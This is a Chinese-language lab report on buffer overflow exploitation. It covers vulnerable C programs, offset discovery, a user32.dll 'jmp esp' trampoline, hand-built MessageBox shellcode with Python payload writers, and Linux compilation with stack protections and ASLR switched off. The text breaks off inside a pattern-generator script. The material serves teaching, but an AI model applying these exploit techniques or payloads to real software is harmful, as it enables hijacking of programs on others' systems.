实验报告:缓冲区溢出攻击的实现过程

实验报告:缓冲区溢出攻击的实现过程

本实验旨在演示缓冲区溢出(Buffer Overflow)攻击的基本过程,包括构造漏洞程序、寻找跳板地址、构造并注入Shellcode来实现控制流劫持。

1. 实验目标

缓冲区溢出(Buffer Overflow)是指程序在写入数据到内存缓冲区时,超出了预分配的空间,从而覆盖相邻的内存数据。此漏洞主要出现在不安全的函数(如 strcpy 等)中,允许攻击者在内存中任意写入数据。通过控制写入数据的内容,攻击者可覆盖程序的返回地址、函数指针等关键变量,进而实现恶意代码的执行。

  • 栈溢出:溢出缓冲区位于栈上,覆盖返回地址,改变控制流。
  • 堆溢出:溢出缓冲区位于堆上,通常通过修改函数指针或内存管理数据结构来实现。

通过缓冲区溢出漏洞,修改程序返回地址,实现自定义代码的执行。同时,演示如何在 Windows 和 Linux 环境下利用缓冲区溢出,最终实现计算机病毒的传播。

实验环境

  • 操作系统:Ubuntu 22.04 / Windows 10
  • 编译器:gcc (Linux)、Dev C++ (Windows)
  • 调试工具:GDB (Linux)、x32dbg (Windows)、IDA
  • 编程语言:C、Python
  • 关键库:pwnpwntools

2. 实验步骤

(一)Windows 栈溢出示例

实验目标为利用缓冲区溢出修改返回地址,触发特定功能(如显示消息框)。

构造一个存在缓冲区溢出漏洞的程序

首先编写一个简单的程序,通过strcpy函数将输入数据复制到缓冲区内。由于未检查输入数据的长度,若输入的数据超过缓冲区大小,则会导致缓冲区溢出。

代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <string.h> // 包含 strcmp 和 strcpy 函数的声明
#include <stdlib.h> // 包含 exit 函数的声明
#define PASSWORD "1234567" // 定义正确的密码为 "1234567"

// 验证密码函数,接受输入的 password 字符串
int verify_password (char *password)
{
int authenticated; // 用于存储比较结果的变量
char buffer[8]; // 定义了一个 8 字节的缓冲区

// 比较输入的密码和预定义的密码是否相同
authenticated = strcmp(password, PASSWORD);

// 将输入的 password 复制到 buffer 中,但没有检查长度,可能导致溢出
strcpy(buffer, password); // 注意:潜在的缓冲区溢出漏洞

return authenticated; // 返回比较结果
}

int main()
{
int valid_flag = 0; // 标志密码是否正确
char password[8]; // 定义了一个缓冲区用于存储输入的密码
FILE *fp; // 文件指针,用于打开和读取 password.txt 文件

// 打开 password.txt 文件,若失败则退出程序
if (!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}

// 从文件中读取密码字符串并存储到 password 缓冲区中
fscanf(fp, "%s", password);

// 调用 verify_password 函数验证密码是否正确
valid_flag = verify_password(password);

// 根据 valid_flag 判断密码是否正确
if (valid_flag) // 如果 valid_flag 非零(表示密码不正确)
{
printf("incorrect password!\n");
}
else // 如果 valid_flag 为零(表示密码正确)
{
printf("Congratulation! You have passed the verification!\n");
}

// 关闭文件
fclose(fp);

// 等待用户输入以暂停程序
printf("Press Enter to continue...");
getchar(); // 在程序结束前等待用户按 Enter 键
return 0;
}

在上述代码中,buffer只有8字节,但strcpy并未限制password的长度。如果输入数据超过8字节,将导致buffer后的数据被覆盖,包括返回地址。

  1. 编译程序:将上述代码编译为可执行文件。

  2. 构造输入:在password.txt中输入超过8字节的内容,以覆盖返回地址并修改程序执行流。

在txt文件输入100个A观察缓冲区

使用msf-pattern_create -l 100计算大小

1
2
3
┌──(student㉿kali)-[~]
└─$ msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

重新在X32dbg运行,执行到第一次报错,记录下EIP地址41386141

计算缓冲区大小(即红色框的区域)

使用命令msf-pattern_offset -l 100 -q 41386141得知缓冲区大小为24字节

将ret改为004014C5

1
2
3
4
5
6
7
8
padding = b"A" * 24  # 用 "A" 填充 24 字节
return_address = b"\xC5\x14\x40\x00" # secret_function 的地址(假设为 0x00401410)
payload = padding + return_address

# 将 payload 写入 password.txt 文件,使用二进制写入模式
with open("password.txt", "wb") as f:
f.write(payload)

重新运行,成功实现了Congratulation! You have passed the verification!

接下来试着用它弹一个窗,要对源码做一下改变以便能够调用 Messagebox 函数,因此导入了 user32.dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>    // 包含标准输入输出函数的声明
#include <windows.h> // 包含 Windows API 函数的声明
#define PASSWORD "1234567" // 定义正确的密码常量为 "1234567"

// 验证密码的函数,接收一个字符指针 password
int verify_password(char *password)
{
int authenticated; // 变量 authenticated,用于存储密码验证结果
char buffer[44]; // 定义一个大小为 44 字节的缓冲区 buffer

// 使用 strcmp 比较输入的 password 与预定义的 PASSWORD 是否一致
// 如果一致则返回 0,不一致返回非零值
authenticated = strcmp(password, PASSWORD);

// 将输入的 password 复制到 buffer 中,使用了 strcpy 函数
// strcpy 不会检查目标缓冲区的大小,存在潜在的缓冲区溢出漏洞
strcpy(buffer, password); // 这里可能导致溢出,覆盖后续的内存区域

return authenticated; // 返回比较结果
}

int main()
{
int valid_flag = 0; // 用于存储密码验证的标志,0 表示正确,非零表示错误
char password[44]; // 定义一个字符数组用于存储从文件读取的密码,大小为 1024 字节
FILE *fp; // 文件指针,用于操作文件

// 加载 "user32.dll"
// 在实际操作中,这一行代码在当前示例中没有实际意义,但可能用于其他操作
LoadLibrary("user32.dll");

// 尝试以 "rw+" 模式打开 "password2.txt" 文件
// "rw+" 模式用于读写文件,如果文件不存在,程序将退出
if (!(fp = fopen("password2.txt", "rw+")))
{
exit(0); // 如果文件打开失败,则退出程序
}

// 从文件中读取一个字符串,并将其存储在 password 数组中
// 假设文件内容为用户输入的密码
fscanf(fp, "%s", password);

// 调用 verify_password 函数检查密码是否正确
valid_flag = verify_password(password);

// 判断 valid_flag 的值,以确定密码是否正确
if (valid_flag) // 如果 valid_flag 非零,表示密码不正确
{
printf("incorrect password!\n");
}
else // 如果 valid_flag 为零,表示密码正确
{
printf("Congratulation! You have passed the verification!\n");
}

// 关闭文件
fclose(fp);

// 等待用户输入以暂停程序
system("pause"); // Windows 系统下暂停程序并显示 "Press any key to continue..."
return 0; // 返回 0,表示程序正常结束
}

获取 API 函数地址
可以使用GetProcAddress获取MessageBoxAExitProcess的地址。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <windows.h>
#include <stdio.h>

typedef void (*MYPROC)(LPTSTR);

int main()
{
HINSTANCE LibHandle; // 定义库句柄
MYPROC ProcAdd; // 定义函数指针

// 加载 user32.dll 库
LibHandle = LoadLibrary("user32");
if (LibHandle == NULL) {
printf("Failed to load user32.dll\n");
return 1;
}

// 打印 user32.dll 的加载地址
printf("user32 = 0x%p\n", LibHandle);

// 获取 MessageBoxA 函数的地址
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
if (ProcAdd == NULL) {
printf("Failed to get address of MessageBoxA\n");
} else {
printf("MessageBoxA = 0x%p\n", ProcAdd);
}

// 获取 ExitProcess 函数的地址
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "ExitProcess");
if (ProcAdd == NULL) {
printf("Failed to get address of ExitProcess\n");
} else {
printf("ExitProcess = 0x%p\n", ProcAdd);
}

getchar(); // 暂停程序,等待用户输入

return 0;
}

1
2
3
user32 = 0x77650000
MessageBoxA = 0x776DBDE0
ExitProcess = 0x772CA200

选取跳板(jmp esp

为了让程序跳转到栈的顶部执行Shellcode,我们需要找到一个jmp esp指令的地址。可以在常驻内存的DLL(如user32.dll)中查找固定的jmp esp指令,以确保该地址的稳定性。

查找jmp esp机器码

1
2
3
4
5
6
7
8
┌──(student㉿kali)-[~]
└─$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
nasm > exit

┌──(student㉿kali)-[~]
└─$

查找jmp esp的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
BYTE *ptr; // 指向 DLL 的指针
int position; // 当前扫描的位置
HINSTANCE handle; // DLL 的句柄
BOOL done_flag = FALSE; // 标志是否找到指令

// 加载 user32.dll
handle = LoadLibrary("user32.dll");
if (!handle) {
printf("load dll error!\n");
exit(0);
}

ptr = (BYTE *)handle; // 将句柄转换为 BYTE 指针,指向 DLL 的基址

// 遍历 DLL 的内存,寻找 jmp esp 指令(0xFF 0xE4)
for (position = 0; !done_flag; position++) {
// 检查当前字节和下一个字节是否为 0xFF 和 0xE4
if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4) {
int address = (int)(ptr + position); // 计算找到的指令的地址
printf("OPCODE found at 0x%x\n", address);
done_flag = TRUE; // 设置标志,表示已经找到指令
}
}

int address = (int)(ptr + position); // DLL 扫描结束的位置
printf("END OF 0x%x\n", address); // 打印扫描结束位置

getchar(); // 暂停程序,等待用户按键
return 0;
}

1
2
3
4
5
6
7
OPCODE found at 0x7766da3f
END OF 0x7766da40


--------------------------------
Process exited after 16.86 seconds with return value 0
请按任意键继续. . .

运行此代码可以找到user32.dll中包含jmp esp的地址,例如0x7766da3f

构造攻击输入数据

在本实验中,攻击输入的数据格式为:

1
"AAAAAAAAAAAAXXXXSSSS......SSSS"

其中:

  • AAAAAAAAAAA:用于填充缓冲区
  • XXXX:覆盖返回地址,这里使用jmp esp地址,例如0x7766da3f
  • SSSS:Shellcode,用于执行攻击代码

编写Shellcode

为了展示缓冲区溢出攻击效果,我们构造一个简单的Shellcode,调用Windows API的MessageBox显示一个弹框。

编写shellcode 找到了地址之后就可以构造 shellcode 了

机器码 汇编指令 注释
33DB XOR EBX,EBX 异或置零
53 PUSH EBX 作为字符串结束的截断符号 0
684841434B PUSH 4B434148 把 ‘HACK’ 字符串进栈
8BC4 MOV EAX,ESP 字符串指针,方便后面 push 进去
53 PUSH EBX 第四个参数 0
50 PUSH EAX 第三个参数 标题
50 PUSH EAX 第二个参数 内容
53 PUSH EBX 第一个参数 0
B8E0BD6D77 MOV EAX, 776DBDE0 把 Messagebox 的函数地址放到 EAX (MessageBoxA = 0x776DBDE0)
FFD0 CALL EAX 调用 Messagebox
1
33DB53684841434B8BC453505053B8E0BD6D77FFD0

返回地址(0x7766da3f)后面跟着 shellcode 就行了,我们还希望他能够正常的退出,给它加上一个 ExitProcess (0x772CA200)函数

机器码 汇编 注释
53 PUSH BEX exit(0),这个是参数 0
B800A22C77 MOV EAX,0x772CA200 地址放到 eax
FFD0 CALL EAX 调用函数
1
53B800A22C77FFD0 

完整payload

1
33DB53684841434B8BC453505053B8E0BD6D77FFD053B800A22C77FFD0 

计算缓冲区大小

报错EIP为41306341

得知缓冲区大小为60字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 定义攻击输入数据的各个部分
buffer_fill = b"\x90" * 60 # 用 0x90 (NOP 指令) 填充到 60 字节
jmp_esp_address = b"\x3f\xda\x66\x77" # jmp esp 地址,0x7766da3f,小端格式
shellcode = bytes.fromhex("33DB53684841434B8BC453505053B8E0BD6D77FFD053B800A22C77FFD0") # Shellcode,转为字节

# 组合最终的攻击输入数据
exploit_payload = buffer_fill + jmp_esp_address + shellcode

# 将 exploit_payload 写入 password2.txt 文件,使用二进制写入模式
with open("password2.txt", "wb") as f:
f.write(exploit_payload)

print("Exploit payload written to password2.txt successfully.")

1
9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090903FDA667733DB53684841434B8BC453505053B8E0BD6D77FFD053B800A22C77FFD0

成功!

另一种写法:

可以用全部填充容易辨认的字符找寻缓冲区起始地址(这种找到的地址执行不了,不知道为什么)

正解:通过如下代码就可调整 Shellcode 和栈指针位置(加入调整代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 定义攻击输入数据的各个部分
payload = bytes.fromhex("33DB53684841434B8BC453505053B8E0BD6D77FFD053B800A22C77FFD0") # Shellcode,转为字节
padding = b"\x90" * (60 - len(payload)) # 用 0x90 (NOP 指令) 填充到 60 字节
return_address = b"\x3f\xda\x66\x77" # jmp esp 地址,0x7766da3f,小端格式

# 定义 adjust_code,包含 `jmp esp` 和 `add esp, -64`
# jmp esp: 0xFFE4
# add esp, -64: 0x83EC40
adjust_code = b"\xFF\xE4" + b"\x83\xEC\x40" # `jmp esp` + `add esp, -64`

# 组合最终的攻击输入数据
final_payload = payload + padding + return_address + adjust_code

# 将 final_payload 写入 password2.txt 文件,使用二进制写入模式
with open("password2.txt", "wb") as f:
f.write(final_payload)

print("Exploit payload written to password2.txt successfully.")

add esp, -64 的机器码是 0x83 EC 40。下面是对该机器码的解读。

  • 0x83:这是 add 指令的操作码(opcode),并且表明操作数是立即数(imm8,8位立即数)和寄存器(在这里是 esp)。
  • EC:这是 modrm 字节,用于指定操作的寄存器和操作数类型。在此情况下,EC 表示目标寄存器为 esp
  • 40:这是立即数 -64 的值。因为立即数 40 是无符号的,我们可以理解为有符号的8位补码0x40 的补码为 -64
  • 64是因为缓冲空间(60)加上EIP(4)的大小

实验结果

成功运行后,程序将会调用MessageBoxA函数,弹出包含"HACK"消息的对话框,随后调用ExitProcess函数退出程序。

(二)Linux 栈溢出示例

软件保护机制:

CANARY(栈保护)

栈溢出保护是一种缓冲区溢出攻击缓解手段,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

NX(DEP)(数据执行保护 Data Execution Prevention)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

PIE(ASLR)

内存地址随机化机制(address space layout randomization),有以下三种情况:
0 - 表示关闭进程地址空间随机化
1 - 表示将mmap的基址,stack和vdso页面随机化
2 - 表示在1的基础上增加堆(heap)的随机化

入手,什么保护都没的 源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

使用以下命令进行编译:

1
2
gcc -m32 -fno-stack-protector -z execstack -no-pie -o level1 level1.c
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space //关闭ASLR(地址空间布局随机化)

-m32意思是编译为32位的程序
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector

在 root 权限下执行(为了方便下面的步骤最好一直在root下):
echo 0 > /proc/sys/kernel/randomize_va_space
这样就关掉了整个系统的ASLR

使用checksec命令来检查一下保护机制:

1
checksec --file=./level1

测试缓冲区大小

使用一个python脚本来产生点数据 python pattern.py create 150(也可以用kali的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
#!/usr/bin/env python3

import sys
import os
import binascii

buf = (
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"
"6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A"
"f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9"
"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak"
"6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
"n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9"
"Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As"
"6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A"
"v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9"
"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
"6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B"
"d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9"
"Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi"
"6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B"
"l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9"
"Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq"
"6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B"
"t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9"
"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By"
"6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C"
"b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9"
"Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg"
"6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C"
"j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9"
"Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
"6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C"
"r3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9"
"Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw"
"6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2C"
"z3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"
"Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De"
"6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2D"
"h3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9"
"Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm"
"6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D"
"p3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9"
"Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du"
"6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2D"
"x3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9"
"Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec"
"6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2E"
"f3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9"
"Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek"
"6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2E"
"n3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9"
"Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es"
"6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2E"
"v3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9"
"Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa"
"6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"
"d3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9"
"Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi"
"6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2F"
"l3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9"
"Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq"
"6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2F"
"t3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9"
"Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy"
"6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2G"
"b3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9"
"Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg"
"6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2G"
